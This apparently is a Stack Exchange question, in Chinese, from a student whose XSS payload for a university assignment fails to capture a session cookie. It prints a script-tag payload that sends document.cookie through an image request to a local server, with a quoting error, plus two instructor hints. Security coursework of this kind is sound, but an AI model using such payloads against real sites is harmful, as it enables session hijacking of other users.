XSS payload无法获取session cookie，如何正确构造请求URL？

我在尝试通过构造XSS payload获取session cookie时遇到执行失败的问题，基础访问URL为http://127.0.0.1:55555，我最初构造的payload对应的访问地址为：
http://127.0.0.1:55555/?p=<script>document.write('<img src=http://127.0.0.1:55555/?c='document.cookie+'/>');</script>
提交后始终无法成功获取到目标session cookie。

本次测试为大学项目作业内容，指导老师给出两个排查方向：

• 你确认payload可以正常执行吗？
• 你确认应该将请求发送到这个本地服务器吗？

目前我还不清楚应当如何正确改写URL完成payload构造。

内容的提问来源于stack exchange，提问作者Viv